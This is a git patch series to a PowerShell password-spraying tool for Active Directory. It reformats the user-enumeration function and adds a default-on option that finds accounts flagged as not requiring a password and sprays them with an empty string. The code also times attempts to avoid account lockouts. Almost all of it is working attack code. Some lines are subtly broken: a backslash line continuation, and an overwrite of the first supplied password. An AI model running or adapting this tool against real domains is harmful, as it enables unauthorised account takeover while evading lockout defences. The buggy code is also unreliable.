From fe441a38c4d2023567c818adcf001adc32826f3b Mon Sep 17 00:00:00 2001 From: Michael Davis Date: Sun, 26 Jun 2022 20:29:50 -0500 Subject: [PATCH 1/2] formatting --- private/Get-DomainUserList.ps1 | 97 +++++++++++++++++++--------------- 1 file changed, 53 insertions(+), 44 deletions(-) diff --git a/private/Get-DomainUserList.ps1 b/private/Get-DomainUserList.ps1 index 1947599..d75ec01 100644 --- a/private/Get-DomainUserList.ps1 +++ b/private/Get-DomainUserList.ps1 @@ -9,63 +9,64 @@ function Get-DomainUserList { .PARAMETER DomainName Optional. The domain to spray against. .PARAMETER RemoveDisabled - Optional. Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) + Optional. Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) .PARAMETER RemovePotentialLockouts Optional. Removes accounts within 1 attempt of locking out. .PARAMETER Filter Optional. Custom LDAP filter for users, e.g. "(description=*admin*)". Thanks to @egypt - + .EXAMPLE C:\PS> Get-DomainUserList Description ----------- This command will gather a userlist from the current domain including all samAccountType "805306368". - + .EXAMPLE C:\PS> Get-DomainUserList -DomainName domainname.net -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt Description ----------- - This command will gather a userlist from the domain "domainname.net" including any accounts that are not disabled and are not close to locking out. + This command will gather a userlist from the domain "domainname.net" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" - + #> [CmdletBinding()] - param( - [Parameter(Position = 0, Mandatory = $false)] + param( + [Parameter(Position = 0, Mandatory = $false)] [Alias('Domain')] - [string]$DomainName = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name, - - [Parameter(Position = 1, Mandatory = $false)] - [switch]$RemoveDisabled, - - [Parameter(Position = 2, Mandatory = $false)] - [switch]$RemovePotentialLockouts, - + [string]$DomainName = ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).Name, + + [Parameter(Position = 1, Mandatory = $false)] + [switch]$RemoveDisabled, + + [Parameter(Position = 2, Mandatory = $false)] + [switch]$RemovePotentialLockouts, + [Parameter(Position = 3, Mandatory = $false)] [int]$SmallestLockoutThreshold, [Parameter(Position = 4, Mandatory = $false)] [string]$Filter - ) - + ) + - try { + try { # Using domain specified with -DomainName option - $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$DomainName) - $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain", $DomainName) + $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) $CurrentPdc = "LDAP://$($DomainObject.PdcRoleOwner.Name)" - } catch { + } + catch { Write-Error '[*] Could not connect to the domain. Try again specifying the domain name with the -DomainName option' break - } + } - # Setting the current domain's account lockout threshold - $DomainPolicy = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" + # Setting the current domain's account lockout threshold + $DomainPolicy = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" # Get account lockout observation window to avoid running more than 1 password spray per observation window. - [int]$ObservationWindow = $DomainPolicy.ConvertLargeIntegerToInt64($DomainPolicy.lockOutObservationWindow.value)/-600000000 - + [int]$ObservationWindow = $DomainPolicy.ConvertLargeIntegerToInt64($DomainPolicy.lockOutObservationWindow.value) / -600000000 + $DirEntry = [ADSI]$CurrentPdc $UserSearcher = [adsisearcher]$DirEntry @@ -80,12 +81,14 @@ function Get-DomainUserList { # LDAP 1.2.840.113556.1.4.804 means bitwise OR # uac 0x2 is ACCOUNTDISABLE # uac 0x10 is LOCKOUT + # uac 0x20 is PASSWD_NOTREQD # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/. Thanks @egypt # lockoutTime>=1 corresponds to accounts that are locked out already # accountExpires>=$Now corresponds to accounts that are set to expire sometime in the future # accountExpires=0 corresponds to an account that is set to never expire $UserSearcher.Filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.804:=18)(!lockoutTime>=1)(|(accountExpires>=$Now)(accountExpires=0))$Filter)" - } else { + } + else { $UserSearcher.Filter = "(&(objectCategory=person)(objectClass=user)(|(accountExpires>=$Now)(accountExpires=0))$Filter)" } @@ -95,56 +98,62 @@ function Get-DomainUserList { Write-Verbose "[*] There were $($AllUserObjects.count) users returned after filtering out disabled, locked out, and expired accounts" [System.Collections.ArrayList]$UserListArray = @() $RemovedUserCount = 0 - + if ($RemovePotentialLockouts) { - + $CurrentTime = Get-Date foreach ($User in $AllUserObjects) { $BadCount = $null # Getting bad password counts and lst bad password time for each user try { $BadCount = $User.Properties.badpwdcount[0] - } catch {} - + } + catch {} + $SamAccountName = $User.Properties.samaccountname[0] - + try { $BadPasswordTime = $User.Properties.badpasswordtime[0] $LastBadPwd = [datetime]::FromFileTime($BadPasswordTime) - } catch {} - + } + catch {} + $TimeDifference = ($CurrentTime - $LastBadPwd).TotalMinutes if ($BadCount) { - - $AttemptsUntilLockout = $SmallestLockoutThreshold - $BadCount - + + $AttemptsUntilLockout = $SmallestLockoutThreshold - $BadCount + # if there is no lockout threshold (ie, threshold = 0) - # if there is more than 1 attempt left before a user locks out + # if there is more than 1 attempt left before a user locks out # or if the time since the last failed login is greater than the domain observation window add user to spray list if ($SmallestLockoutThreshold -eq 0 -or $AttemptsUntilLockout -gt 1 -or $TimeDifference -gt $ObservationWindow) { $UserListArray.Add($SamAccountName) > $null - } else { + } + else { $RemovedUserCount++ } - } elseif ($BadCount -eq 0) { + } + elseif ($BadCount -eq 0) { # if they get here, it means BadCount = 0, no worries about locking out the account, so we add it $UserListArray.Add($SamAccountName) > $null - } elseif (-not $User.Properties.badpwdcount) { + } + elseif (-not $User.Properties.badpwdcount) { # if we get here, it means the account doesn't log bad passwords, so add it $UserListArray.Add($SamAccountName) > $null } } Write-Verbose "[*] Removed $RemovedUserCount users from spray list due to being within 1 attempt of locking out and having its last bad logon within the domain observation window of $ObservationWindow minutes" - } else { - + } + else { + foreach ($User in $AllUserObjects) { $SamAccountName = $User.Properties.samaccountname[0] $UserListArray.Add($SamAccountName) > $null } } - + Write-Verbose "[*] Created a final userlist containing $($UserListArray.count) users gathered from the current user's domain" $UserListArray From 3fa7ce4664a99d16d21e8d6be821a561856d4a31 Mon Sep 17 00:00:00 2001 From: Michael Davis Date: Sun, 26 Jun 2022 20:31:40 -0500 Subject: [PATCH 2/2] add -EmptyPassword functionality --- public/Invoke-DomainPasswordSpray.ps1 | 36 ++++++++++++++++++++++++++- 1 file changed, 35 insertions(+), 1 deletion(-) diff --git a/public/Invoke-DomainPasswordSpray.ps1 b/public/Invoke-DomainPasswordSpray.ps1 index b5573ba..d94ba12 100644 --- a/public/Invoke-DomainPasswordSpray.ps1 +++ b/public/Invoke-DomainPasswordSpray.ps1 @@ -77,7 +77,15 @@ function Invoke-DomainPasswordSpray { Mandatory = $false, HelpMessage = "Optional switch that allows you to specify the use of NTLM negotiate auth rather than use default Kerberos pre-auth." )] - [switch]$Ntlm + [switch]$Ntlm, + + [Parameter( + Position = 5, + Mandatory = $false, + HelpMessage = """Optional switch that allows you to specify whether to search for AD accounts with attribute PASSWD_NOTREQD and automatically + spray them with an empty string. Default is true.""" + )] + [bool]$EmptyPassword = $true ) $StartTime = Get-Date @@ -105,10 +113,20 @@ function Invoke-DomainPasswordSpray { Write-Verbose '[*] Attempting to generate the list of users in the domain...' if ($LockoutThreshold -eq 0) { $AutoGeneratedUserList = Get-DomainUserList -RemoveDisabled -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName + + if ($EmptyPassword) { + $PASSWD_NOTREQD_UserList = Get-DomainUserList -RemoveDisabled -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName \ + -Filter "(userAccountControl:1.2.840.113556.1.4.804:=32)" + } } else { $AutoGeneratedUserList = Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts -SmallestLockoutThreshold $LockoutThreshold -DomainName $DomainName Write-Verbose "[*] The smallest lockout threshold discovered in the domain is $LockoutThreshold login attempts." + + if ($EmptyPassword) { + $PASSWD_NOTREQD_UserList = Get-DomainUserList -RemoveDisabled -RemovePotentialLockouts -SmallestLockoutThreshold $LockoutThreshold \ + -DomainName $DomainName -Filter "(userAccountControl:1.2.840.113556.1.4.804:=32)" + } } if ($null -ne $UserName) { @@ -157,6 +175,11 @@ function Invoke-DomainPasswordSpray { # instruct the Kerberos client to use opportunistic preauth $KerbClient.AuthenticationOptions = 'PreAuthenticate' + if ($EmptyPassword -and ($null -ne $PASSWD_NOTREQD_UserList -and $PASSWD_NOTREQD_UserList.count -gt 0)) { + Write-Verbose "[*] Identified $($PASSWD_NOTREQD_UserList.count) accounts with ability to not set a password. Spraying those with empty string first." + $Password[0] = "" + } + foreach ($PasswordItem in $Password) { $PasswordStartTime = Get-Date @@ -170,6 +193,12 @@ function Invoke-DomainPasswordSpray { $InvokeParallelParams = @{ Quiet = $true } } + # sub in special user list just for empty passwords + if ($PasswordItem -eq "") { + $OrigUserName = $UserName + $UserName = $PASSWD_NOTREQD_UserList + } + $UserName | Invoke-Parallel -ImportVariables -Throttle 10 -Verbose:$false @InvokeParallelParams -ScriptBlock { if ($Ntlm) { @@ -220,6 +249,11 @@ function Invoke-DomainPasswordSpray { Invoke-Countdown -Seconds (60 * $ObservationWindow) -Message "Spraying users on domain $DomainName" -Subtext "[*] $CurrentPasswordIndex of $($Password.count) passwords complete. Pausing to avoid account lockout" } + # restore original user list not used for empty passwords + if ($PasswordItem -eq "") { + $UserName = $OrigUserName + } + }